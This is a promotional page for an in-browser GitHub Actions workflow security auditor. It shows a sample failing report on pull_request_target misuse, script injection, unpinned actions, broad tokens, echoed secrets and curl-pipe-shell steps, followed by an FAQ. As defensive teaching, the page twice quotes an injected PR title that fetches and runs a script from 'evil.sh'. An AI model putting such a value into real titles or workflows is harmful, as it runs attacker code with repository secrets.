Skip to content

free_tool

Is your workflow a back door into production?

A workflow that runs green can still hand a fork PR your deploy token, run an action whose tag moved under you, or execute a PR title as a shell command. Paste your workflow YAML and get a graded report with the exact line to change for each gap.

The workflow you paste runs entirely in your browser. It is never uploaded, sent to a server, or stored. (Anonymous usage metrics, never your workflow text, are sent to analytics.)

F

Workflow security health

8/100

6 to fix · 1 warning · 1 passed · 1 note

Grade F, score 8 out of 100, 6 to fix, 1 warnings, 1 passed.

Untrusted PR code doesn't run with secrets

critical

This workflow triggers on pull_request_target or workflow_run AND checks out the PR's head ref (github.event.pull_request.head.sha / github.head_ref). Those triggers run in the context of the base repo, with its secrets and a read/write token, but you are checking out and building code an outside contributor controls. Any build script, test, or postinstall hook in their PR executes with your secrets. This is the highest-severity CI pattern. Split the untrusted build into a plain `pull_request` job with no secrets, and only use pull_request_target for trusted, non-code steps (labeling, comments).

on:
  pull_request:   # untrusted code runs here, no secrets, read-only token

run: steps don't inline untrusted ${{ }} expressions

critical

A run: step interpolates attacker-controlled input directly into the shell: ${{ github.event.pull_request.title }}. GitHub substitutes these expressions into the script before the shell parses it, so a PR title or branch name like `"; curl evil.sh | sh; "` executes on the runner. Never inline github.event.* / github.head_ref into a run block. Pass the value through an env var and reference it as "$VAR" (quoted), which the shell treats as data, not code.

env:
  TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"   # quoted env var, not inline ${{ }}

Third-party actions are pinned to a commit SHA

high

1 third-party action pinned to a mutable tag or branch instead of a full commit SHA: tj-actions/changed-files@v44. A tag like @v4 or a branch like @main can be moved by the action's owner (or an attacker who compromises it) to point at new code, which then runs with your workflow's token and secrets. This is the tj-actions/changed-files supply-chain class. Pin every third-party action to a 40-character commit SHA and let Dependabot bump it.

- uses: owner/action@a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0  # v4.1.0

GITHUB_TOKEN defaults to least privilege

high

No top-level permissions: block, so the GITHUB_TOKEN falls back to the repository/organization default. On many repos that default is still read/write across all scopes, meaning every job gets a broadly privileged token whether it needs it or not. Declare a minimal top-level default (contents: read) and elevate per-job only where you push, comment, or deploy.

permissions:
  contents: read

Secrets aren't inlined into run: shells

high

A run: step echoes a ${{ secrets.* }} value. GitHub masks known secret strings in logs, but echoing one invites it into places masking misses (a file, an error message, a base64 transform, a third-party log sink). Never print secrets. Pass them to the command that needs them through an env var and let the tool read it.

env:
  TOKEN: ${{ secrets.TOKEN }}
run: deploy --token "$TOKEN"

No remote scripts piped into a shell

high

A run: step pipes a downloaded script straight into a shell (curl … | sh). Whatever that URL serves at build time runs on your runner with your token and secrets, and you can't review or pin what it returns. Download to a file, pin it by checksum, review it, then run it, or install the tool from a pinned action or a package manager with a lockfile.

checkout doesn't leave the token in .git/config

medium

actions/checkout leaves the GITHUB_TOKEN in the repository's .git/config by default (persist-credentials defaults to true). Any later step that runs untrusted code (a dependency's postinstall, a fork's build script) can read that token straight out of the checkout. Unless a later step pushes back to the repo, set persist-credentials: false.

- uses: actions/checkout@<sha>
  with:
    persist-credentials: false

Untrusted code doesn't run on self-hosted runners

Jobs run on GitHub-hosted runners, which are fresh, isolated VMs destroyed after each job. That's the right choice for building untrusted PR code, since there's no persistent state or network foothold to compromise.

Third-party actions are from trusted publishers

This workflow runs 1 third-party action: tj-actions/changed-files. Each one runs with access to your workflow's token and secrets, so treat adding an action like adding a dependency: check the publisher, prefer verified creators, read what it does, and pin it by SHA. We can't verify publishers offline, so this is a checklist, not a grade.

A clean workflow is the floor, not the ceiling. The trigger model, the token scopes, and where untrusted code meets your secrets are what decide whether CI is a back door into production. That's the kind of review I do.

Get your pipeline hardened: book a call

Static analysis of the workflow text only. There is no YAML parser bundled, so parsing is targeted: it reads the constructs it grades (the on: triggers, the top-level permissions block, every uses: ref, run: shell blocks, and the checkout ref / persist-credentials). It can't verify an action's publisher or your repository's visibility, so those checks are advisory. It runs entirely in your browser and uploads nothing.

why_it_matters

CI is the shortest path from a PR to your secrets

Two patterns cause most GitHub Actions compromises. A third-party action pinned to a tag can be moved to new code by whoever controls it, which then runs with your token and secrets, the exact shape of the tj-actions/changed-files incident. And pull_request_target or workflow_run that checks out a fork's code runs an outside contributor's build script inside your trusted context.

Add script injection (a PR title inlined into a run: shell), a GITHUB_TOKEN left at the broad default, and secrets echoed into logs, and a green pipeline becomes a supply-chain and RCE surface. This auditor encodes those rules so the expensive mistakes get caught in review, not in an incident.

faq

Questions & answers

What does the GitHub Actions Security Auditor check?
It parses a workflow YAML and grades it on the issues that actually compromise CI: third-party actions pinned to a mutable tag or branch instead of a commit SHA, the pull_request_target / workflow_run poisoned-pipeline pattern (running fork code with your secrets), script injection of untrusted ${{ github.event.* }} into run: shells, a GITHUB_TOKEN left at the broad default instead of least privilege, secrets echoed or inlined into shells, curl|bash bootstrapping, checkout leaving the token in .git/config, and self-hosted runners on public triggers. Each finding explains the risk and gives the exact line to change.
Why should I pin actions to a commit SHA instead of a tag like @v4?
A tag or branch is a mutable pointer: whoever controls the action (or an attacker who compromises it) can move @v4 or @main to new code, which then runs inside your workflow with its token and secrets. That is exactly how the tj-actions/changed-files supply-chain attack worked. A 40-character commit SHA is immutable, so what you reviewed is what runs. Pin third-party actions to a SHA and let Dependabot propose updates. GitHub-owned actions (actions/*, github/*) on tags are lower-risk but still safer pinned.
What is the pull_request_target risk?
The pull_request_target and workflow_run triggers run in the context of the base repository, with its secrets and a read/write GITHUB_TOKEN, even for pull requests from forks. That is safe for trusted steps like labeling or commenting, but dangerous the moment the workflow checks out and builds the PR's code, because any build script, test, or postinstall hook the contributor wrote then executes with your secrets. The auditor fails a workflow that both triggers on pull_request_target and checks out the PR head ref, and warns when the trigger is present at all.
How does script injection happen in a workflow?
When you write a run: step like echo "${{ github.event.pull_request.title }}", GitHub substitutes the expression into the script text before the shell runs it. An attacker who sets the PR title to something like "; curl evil.sh | sh; " gets that command executed on your runner. The fix is to never inline github.event.* or github.head_ref into a run block: bind the value to an env var and reference it as a quoted "$VAR", which the shell treats as data rather than code. The auditor flags untrusted expressions found inside run: shells.
Why does a missing permissions block get flagged?
If a workflow has no top-level permissions: block, the GITHUB_TOKEN falls back to the repository or organization default, which on many repos is still read/write across all scopes. That means every job gets a broadly privileged token whether it needs one or not, so a single injected or compromised step can push code, publish packages, or tamper with releases. Declaring permissions: contents: read at the top and elevating only the specific write scopes a job needs at the job level is the least-privilege default the auditor grades for.
Is my workflow uploaded anywhere?
No. The workflow you paste is analyzed entirely in your browser with plain JavaScript. There is no YAML parser bundled, so parsing is targeted to the constructs it grades (triggers, the top-level permissions block, uses: refs, run: blocks, and the checkout ref and persist-credentials). It can't verify an action's publisher or your repository's visibility, so those checks are advisory. Nothing you paste is uploaded, sent to a server, or stored; only anonymous usage metrics are sent to analytics.

Want the rest of the pipeline looked at?

The workflow file is the floor. I'll review the trigger model, the token scopes, the OIDC-to-cloud trust, and where untrusted code meets your secrets, the wiring that decides whether CI is a back door into production. Book a call, or leave your email.

Book a call

No spam. You'll get a reply from me.

Prefer proof first? See how this plays out in real case studies →